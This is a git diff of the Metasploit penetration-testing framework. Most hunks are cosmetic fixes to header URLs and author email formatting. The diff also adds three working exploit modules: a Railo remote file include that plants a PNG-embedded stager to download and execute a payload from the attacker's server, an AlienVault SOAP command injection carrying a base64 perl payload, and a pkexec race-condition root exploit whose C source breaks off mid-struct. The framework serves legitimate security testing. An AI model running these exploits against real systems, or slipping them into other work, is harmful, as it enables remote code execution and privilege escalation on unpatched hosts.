--git a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb index 7e778969bc..34f3ec1421 100644 --- a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module + 'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/linux/http/mutiny_frontend_upload.rb b/modules/exploits/linux/http/mutiny_frontend_upload.rb index e0fa99ef5e..bd9cf31035 100644 --- a/modules/exploits/linux/http/mutiny_frontend_upload.rb +++ b/modules/exploits/linux/http/mutiny_frontend_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb b/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb index d89036bbc8..e4c2587641 100644 --- a/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb +++ b/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module + 'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb b/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb index 5a6242c404..44a14d74ae 100644 --- a/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb +++ b/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module + 'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/linux/http/netgear_readynas_exec.rb b/modules/exploits/linux/http/netgear_readynas_exec.rb index f2085b65ce..9fce52a1a5 100644 --- a/modules/exploits/linux/http/netgear_readynas_exec.rb +++ b/modules/exploits/linux/http/netgear_readynas_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/nginx_chunked_size.rb b/modules/exploits/linux/http/nginx_chunked_size.rb index 8ca4131d31..b588bb1053 100644 --- a/modules/exploits/linux/http/nginx_chunked_size.rb +++ b/modules/exploits/linux/http/nginx_chunked_size.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -38,7 +38,7 @@ class Metasploit4 < Msf::Exploit::Remote 'Privileged' => false, 'Payload' => { - 'BadChars' => "\x0d\x0a", + 'BadChars' => "\x0d\x0a" }, 'Arch' => ARCH_CMD, 'Platform' => 'unix', diff --git a/modules/exploits/linux/http/openfiler_networkcard_exec.rb b/modules/exploits/linux/http/openfiler_networkcard_exec.rb index d979506f7a..564c529733 100644 --- a/modules/exploits/linux/http/openfiler_networkcard_exec.rb +++ b/modules/exploits/linux/http/openfiler_networkcard_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/pandora_fms_exec.rb b/modules/exploits/linux/http/pandora_fms_exec.rb index 7a5a8cc6b6..110c774531 100644 --- a/modules/exploits/linux/http/pandora_fms_exec.rb +++ b/modules/exploits/linux/http/pandora_fms_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/peercast_url.rb b/modules/exploits/linux/http/peercast_url.rb index a0abcb4e25..b501e841af 100644 --- a/modules/exploits/linux/http/peercast_url.rb +++ b/modules/exploits/linux/http/peercast_url.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/pineapp_ldapsyncnow_exec.rb b/modules/exploits/linux/http/pineapp_ldapsyncnow_exec.rb index 1db241e608..d9cab6a7a3 100644 --- a/modules/exploits/linux/http/pineapp_ldapsyncnow_exec.rb +++ b/modules/exploits/linux/http/pineapp_ldapsyncnow_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/pineapp_livelog_exec.rb b/modules/exploits/linux/http/pineapp_livelog_exec.rb index f76a7463ba..94a67de146 100644 --- a/modules/exploits/linux/http/pineapp_livelog_exec.rb +++ b/modules/exploits/linux/http/pineapp_livelog_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb b/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb index e7a568baf2..10111bb598 100644 --- a/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb +++ b/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/piranha_passwd_exec.rb b/modules/exploits/linux/http/piranha_passwd_exec.rb index 2c61bb5c8f..bcb9e18bf2 100644 --- a/modules/exploits/linux/http/piranha_passwd_exec.rb +++ b/modules/exploits/linux/http/piranha_passwd_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb b/modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb index 9be98b2b95..829a161777 100644 --- a/modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb +++ b/modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -26,7 +26,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module + 'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/linux/http/railo_cfml_rfi.rb b/modules/exploits/linux/http/railo_cfml_rfi.rb new file mode 100644 index 0000000000..3684db5572 --- /dev/null +++ b/modules/exploits/linux/http/railo_cfml_rfi.rb @@ -0,0 +1,189 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Railo Remote File Include', + 'Description' => ' + This module exploits a remote file include vulnerability in Railo, + tested against version 4.2.1. First, a call using a vulnerable + <cffile> line in thumbnail.cfm allows an atacker to download an + arbitrary PNG file. By appending a .cfm, and taking advantage of + a directory traversal, an attacker can append cold fusion markup + to the PNG file, and have it interpreted by the server. This is + used to stage and execute a fully-fledged payload. + ', + 'License' => MSF_LICENSE, + 'Author' => [ + 'Bryan Alexander <drone@ballastsecurity.net>', # Discovery/PoC + 'bperry' # metasploited + ], + 'References' => [ + ['CVE', '2014-5468'], + ['URL', 'http://hatriot.github.io/blog/2014/08/27/railo-security-part-four/'] + ], + 'Payload' => { + 'Space' => 99999, # if there is disk space, I think we will fit + 'BadChars' => "", + 'DisableNops' => true, + 'Compat' => { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic netcat perl ruby python bash telnet' + } + }, + 'Platform' => %w( unix ), + 'Targets' => + [ + [ + 'Automatic', + { + 'Platform' => [ 'unix' ], + 'Arch' => ARCH_CMD + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 26 2014')) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base URI of the Railo server', '/railo-context/']), + OptInt.new('STAGEWAIT', [true, 'Number of seconds to wait for stager to download', 10]) + ], self.class) + end + + def check + md5 = '6de48cb72421cfabdce440077a921b25' # /res/images/id.png + + res = send_request_cgi( + 'uri' => normalize_uri('res', 'images', 'id.png') # the targeturi is not used in this request + ) + + if !res + fail_with(Failure::Unknown, 'Server did not respond') + elsif !res.body + fail_with(Failure::Unknown, "Server responded without a body: #{res.code} #{res.message}") + end + + new_md5 = Rex::Text.md5(res.body) + + return Exploit::CheckCode::Appears if new_md5 == md5 + + Exploit::CheckCode::Safe + end + + def exploit + if datastore['SRVHOST'] == '0.0.0.0' + fail_with(Failure::BadConfig, 'SRVHOST must be an IP address accessible from another computer') + end + + url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + + @shell_name = Rex::Text.rand_text_alpha(15) + stager_name = Rex::Text.rand_text_alpha(15) + '.cfm' + + start_service('Uri' => { + 'Proc' => proc do |cli, req| + on_request_stager(cli, req) + end, + 'Path' => '/' + stager_name + }) + + start_service('Uri' => { + 'Proc' => proc do |cli, req| + on_request_shell(cli, req) + end, + 'Path' => '/' + @shell_name + }) + + wh = '5000' # width and height + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'admin', 'thumbnail.cfm'), + 'vars_get' => { + 'img' => url + '/' + stager_name, + 'height' => wh, + 'width' => wh + } + ) + + if !res + fail_with(Failure::Unknown, 'Server did not respond') + elsif res.code != 500 + fail_with(Failure::Unknown, "Server did not respond with the expected HTTP 500: #{res.code} #{res.message}") + end + + print_status('Waiting for first stage to download...') + + i = datastore['STAGEWAIT'] + while !@staged && i > 0 + select(nil, nil, nil, 1) + print_status("Waiting for #{i} more seconds...") + i = i - 1 + end + + @staged = false + + if i == 0 + fail_with(Failure::Unknown, 'Server did not request the stager.') + end + + hash = Rex::Text.md5("#{url + "/" + stager_name}-#{wh}-#{wh}") # 5000 is width and height from GET + + hash.upcase! + + print_status('Executing stager') + + send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'admin', 'img.cfm'), + 'vars_get' => { + 'attributes.src' => '../../../../temp/admin-ext-thumbnails/' + hash, + 'thistag.executionmode' => 'start' + } + ) + end + + def on_request_shell(cli, _request) + print_status('Sending payload') + send_response(cli, payload.encoded, {}) + handler(cli) + end + + def on_request_stager(cli, _request) + url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + '/' + @shell_name + + stager = "<cfhttp method='get' url='#{url}'" + stager << " path='#GetDirectoryFromPath(GetCurrentTemplatePath())#..\\..\\..\\..\\..\\..\\'" + stager << " file='#{@shell_name}'>" + stager << "<cfexecute name='sh' arguments='#{@shell_name}' timeout='99999'></cfexecute>" + + png = 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcS' + png << 'JAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==' + + # A very small PNG file + png = Rex::Text.decode_base64(png) + + stager.each_byte do |b| + png << b + end + + png << 0x00 + + print_status('Sending stage. This might be sent multiple times.') + send_response(cli, png, 'Content-Type' => 'image/png') + + @staged = true + + handler(cli) + end +end diff --git a/modules/exploits/linux/http/smt_ipmi_close_window_bof.rb b/modules/exploits/linux/http/smt_ipmi_close_window_bof.rb index 693c4f991f..38434f957a 100644 --- a/modules/exploits/linux/http/smt_ipmi_close_window_bof.rb +++ b/modules/exploits/linux/http/smt_ipmi_close_window_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/sophos_wpa_iface_exec.rb b/modules/exploits/linux/http/sophos_wpa_iface_exec.rb index 3da916023f..94ad8c3e36 100644 --- a/modules/exploits/linux/http/sophos_wpa_iface_exec.rb +++ b/modules/exploits/linux/http/sophos_wpa_iface_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -25,7 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Brandon Perry <bperry.volatile@gmail.com>' # discovery and Metasploit module + 'Brandon Perry <bperry.volatile[at]gmail.com>' # discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => diff --git a/modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb b/modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb index 63b7031cbc..f34b35bbf2 100644 --- a/modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb +++ b/modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/symantec_web_gateway_exec.rb b/modules/exploits/linux/http/symantec_web_gateway_exec.rb index 11a2eabf7d..5a429c1e91 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_exec.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb b/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb index 454406d508..1973490faf 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/symantec_web_gateway_lfi.rb b/modules/exploits/linux/http/symantec_web_gateway_lfi.rb index cc04680a46..ca6a24c3da 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_lfi.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_lfi.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/symantec_web_gateway_pbcontrol.rb b/modules/exploits/linux/http/symantec_web_gateway_pbcontrol.rb index 14b0571af2..a46b899f37 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_pbcontrol.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_pbcontrol.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb b/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb index 2e8d2c1359..9cfd6f0a9a 100644 --- a/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb +++ b/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb @@ -1,5 +1,5 @@ ## -## This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download ## Current source: https://github.com/rapid7/metasploit-framework ### diff --git a/modules/exploits/linux/http/vcms_upload.rb b/modules/exploits/linux/http/vcms_upload.rb index 54d0c55806..4b97e64211 100644 --- a/modules/exploits/linux/http/vcms_upload.rb +++ b/modules/exploits/linux/http/vcms_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/wanem_exec.rb b/modules/exploits/linux/http/wanem_exec.rb index e50c966fed..67cb01534f 100644 --- a/modules/exploits/linux/http/wanem_exec.rb +++ b/modules/exploits/linux/http/wanem_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/webcalendar_settings_exec.rb b/modules/exploits/linux/http/webcalendar_settings_exec.rb index 2fe8f0116e..0aa9a24a84 100644 --- a/modules/exploits/linux/http/webcalendar_settings_exec.rb +++ b/modules/exploits/linux/http/webcalendar_settings_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/webid_converter.rb b/modules/exploits/linux/http/webid_converter.rb index 0c6ae762b4..27ad401c98 100644 --- a/modules/exploits/linux/http/webid_converter.rb +++ b/modules/exploits/linux/http/webid_converter.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/zabbix_sqli.rb b/modules/exploits/linux/http/zabbix_sqli.rb index ca19fb5a97..73ae05f5fa 100644 --- a/modules/exploits/linux/http/zabbix_sqli.rb +++ b/modules/exploits/linux/http/zabbix_sqli.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/zen_load_balancer_exec.rb b/modules/exploits/linux/http/zen_load_balancer_exec.rb index 71901569d9..1d6dfc7082 100644 --- a/modules/exploits/linux/http/zen_load_balancer_exec.rb +++ b/modules/exploits/linux/http/zen_load_balancer_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb b/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb index a0103295ed..bd00e11e29 100644 --- a/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb +++ b/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/ids/alienvault_centerd_soap_exec.rb b/modules/exploits/linux/ids/alienvault_centerd_soap_exec.rb new file mode 100644 index 0000000000..834763a5ad --- /dev/null +++ b/modules/exploits/linux/ids/alienvault_centerd_soap_exec.rb @@ -0,0 +1,140 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rexml/document' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include REXML + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'AlienVault OSSIM av-centerd Command Injection', + 'Description' => %q{ + This module exploits a code execution flaw in AlienVault 4.6.1 and + prior. The vulnerability exists in the av-centerd SOAP web service, + where the update_system_info_debian_package method uses perl backticks + in an insecure way, allowing command injection. This module has been + tested successfully on AlienVault 4.6.0. + }, + 'Author' => + [ + 'Unknown', # From HP ZDI team, Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-3804'], + ['BID', '67999'], + ['ZDI', '14-202'], + ['URL', 'http://forums.alienvault.com/discussion/2690'] + ], + 'Privileged' => true, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Payload' => + { + #'BadChars' => "[;`$<>|]", # Don't apply bcuz of the perl stub applied + 'Compat' => { + 'RequiredCmd' => 'perl netcat-e openssl python gawk' + } + }, + 'DefaultOptions' => + { + 'SSL' => true + }, + 'Targets' => + [ + [ 'AlienVault <= 4.6.1', { }] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'May 5 2014')) + + register_options( + [ + Opt::RPORT(40007) + ], self.class) + end + + def check + version = "" + res = send_soap_request("get_dpkg") + + if res && + res.code == 200 && + res.headers['SOAPServer'] && + res.headers['SOAPServer'] =~ /SOAP::Lite/ && + res.body.to_s =~ /alienvault-center\s*([\d\.]*)-\d/ + + version = $1 + end + + if version.empty? || version >= "4.7.0" + return Exploit::CheckCode::Safe + else + return Exploit::CheckCode::Appears + end + end + + def exploit + send_soap_request("update_system_info_debian_package", 1) + end + + def build_soap_request(method) + xml = Document.new + xml.add_element( + "soap:Envelope", + { + 'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance", + 'xmlns:soapenc' => "http://schemas.xmlsoap.org/soap/encoding/", + 'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema", + 'soap:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/", + 'xmlns:soap' => "http://schemas.xmlsoap.org/soap/envelope/" + }) + body = xml.root.add_element("soap:Body") + m = body.add_element( + method, + { + 'xmlns' => "AV/CC/Util" + }) + args = [] + args[0] = m.add_element("c-gensym3", {'xsi:type' => 'xsd:string'}) + args[1] = m.add_element("c-gensym5", {'xsi:type' => 'xsd:string'}) + args[2] = m.add_element("c-gensym7", {'xsi:type' => 'xsd:string'}) + args[3] = m.add_element("c-gensym9", {'xsi:type' => 'xsd:string'}) + (0..3).each { |i| args[i].text = rand_text_alpha(4 + rand(4)) } + + if method == "update_system_info_debian_package" + args[4] = m.add_element("c-gensym11", {'xsi:type' => 'xsd:string'}) + perl_payload = "system(decode_base64" + perl_payload += "(\"#{Rex::Text.encode_base64(payload.encoded)}\"))" + args[4].text = "#{rand_text_alpha(4 + rand(4))}" + args[4].text += " && perl -MMIME::Base64 -e '#{perl_payload}'" + end + + xml.to_s + end + + def send_soap_request(method, timeout = 20) + soap = build_soap_request(method) + + res = send_request_cgi({ + 'uri' => '/av-centerd', + 'method' => 'POST', + 'ctype' => 'text/xml; charset=UTF-8', + 'data' => soap, + 'headers' => { + 'SOAPAction' => "\"AV/CC/Util##{method}\"" + } + }, timeout) + + res + end + +end diff --git a/modules/exploits/linux/ids/snortbopre.rb b/modules/exploits/linux/ids/snortbopre.rb index 3fe23de2e7..efeb083fc5 100644 --- a/modules/exploits/linux/ids/snortbopre.rb +++ b/modules/exploits/linux/ids/snortbopre.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -19,7 +19,7 @@ class Metasploit3 < Msf::Exploit::Remote be used to completely compromise a Snort sensor, and would typically gain an attacker full root or administrative privileges. }, - 'Author' => 'KaiJern Lau <xwings [at] mysec.org>', + 'Author' => 'KaiJern Lau <xwings[at]mysec.org>', 'License' => BSD_LICENSE, 'References' => [ diff --git a/modules/exploits/linux/imap/imap_uw_lsub.rb b/modules/exploits/linux/imap/imap_uw_lsub.rb index 54902a92d6..a8eb39a855 100644 --- a/modules/exploits/linux/imap/imap_uw_lsub.rb +++ b/modules/exploits/linux/imap/imap_uw_lsub.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/local/hp_smhstart.rb b/modules/exploits/linux/local/hp_smhstart.rb index 1bfc4d5472..b6a739210f 100644 --- a/modules/exploits/linux/local/hp_smhstart.rb +++ b/modules/exploits/linux/local/hp_smhstart.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/local/kloxo_lxsuexec.rb b/modules/exploits/linux/local/kloxo_lxsuexec.rb index ccbd2f44eb..b9f5606758 100644 --- a/modules/exploits/linux/local/kloxo_lxsuexec.rb +++ b/modules/exploits/linux/local/kloxo_lxsuexec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/local/pkexec.rb b/modules/exploits/linux/local/pkexec.rb new file mode 100644 index 0000000000..b247077b9a --- /dev/null +++ b/modules/exploits/linux/local/pkexec.rb @@ -0,0 +1,360 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +# +# Project +# + +require 'msf/core/exploit/local/linux' + +class Metasploit4 < Msf::Exploit::Local + Rank = GreatRanking + + include Msf::Exploit::EXE + include Msf::Post::File + + include Msf::Exploit::Local::Linux + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Linux PolicyKit Race Condition Privilege Escalation', + 'Description' => %q( + A race condition flaw was found in the PolicyKit pkexec utility and polkitd + daemon. A local user could use this flaw to appear as a privileged user to + pkexec, allowing them to execute arbitrary commands as root by running + those commands with pkexec. + + Those vulnerable include RHEL6 prior to polkit-0.96-2.el6_0.1 and Ubuntu + libpolkit-backend-1 prior to 0.96-2ubuntu1.1 (10.10) 0.96-2ubuntu0.1 + (10.04 LTS) and 0.94-1ubuntu1.1 (9.10) + ), + 'License' => MSF_LICENSE, + 'Author' => + [ + 'xi4oyu', # exploit + '0a29406d9794e4f9b30b3c5d6702c708' # metasploit module + ], + 'Platform' => [ 'linux'], + 'Arch' => [ ARCH_X86, ARCH_X86_64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => + [ + [ 'Linux x86', { 'Arch' => ARCH_X86 } ], + [ 'Linux x64', { 'Arch' => ARCH_X86_64 } ] + ], + 'DefaultTarget' => 0, + 'References' => + [ + [ 'CVE', '2011-1485' ], + [ 'EDB', '17942' ], + [ 'OSVDB', '72261' ] + ], + 'DisclosureDate' => "Apr 01 2011" + )) + register_options([ + OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]), + OptInt.new("Count", [true, "Number of attempts to win the race condition", 500 ]), + OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit", 60]), + OptBool.new("DEBUG", [ true, "Make the exploit executable be verbose about what it's doing", false ]) + ]) + end + + def executable_path + @executable_path ||= datastore["WritableDir"] + "/" + rand_text_alphanumeric(8) + @executable_path + end + + def exploit + main = %q^ +/* +* Exploit Title: pkexec Race condition (CVE-2011-1485) exploit +* Author: xi4oyu +* Tested on: rhel 6 +* CVE : 2011-1485 +* Linux pkexec exploit by xi4oyu , thx dm@0x557.org * Have fun~ +* U can reach us @ http://www.wooyun.org :) +* 0a2940: some changes +*/ +/* +#include <stdio.h> +#include <limits.h> +#include <time.h> +#include <unistd.h> +#include <termios.h> +#include <sys/stat.h> +#include <errno.h> +#include <poll.h> +#include <sys/types.h> +#include <stdlib.h> +#include <string.h> +*/ + +#define dprintf + +#define NULL ((void*)0) + +#define MAP_PRIVATE 0x02 +#define MAP_FIXED 0x10 +#define MAP_ANONYMOUS 0x20 +#define MAP_ANON MAP_ANONYMOUS +#define MAP_FAILED ((void *)-1) + +#define PROT_READ 0x1 +#define PROT_WRITE 0x2 +#define PROT_EXEC 0x4 + +#define O_CREAT 64 +#define O_RDWR 2 + +#define POLLRDNORM 0x0040 + +typedef int __pid_t; +typedef int __time_t; +typedef +struct { + long __val[2]; +} __quad_t; +typedef __quad_t __dev_t; +typedef long __ino_t; +typedef unsigned long __mode_t; +typedef long __nlink_t; +typedef unsigned int __uid_t; +typedef unsigned int __gid_t; +typedef long long __off_t; +typedef long __blksize_t; +typedef long long __blkcnt_t; +struct _stat_buff { + __dev_t st_dev; /* Device. */ + unsigned short int __pad1; + __ino_t st_ino; /* File serial number. */ + __mode_t st_mode; /* File mode. */ + __nlink_t st_nlink; /* Link count. */ + __uid_t st_uid; /* User ID of the file's 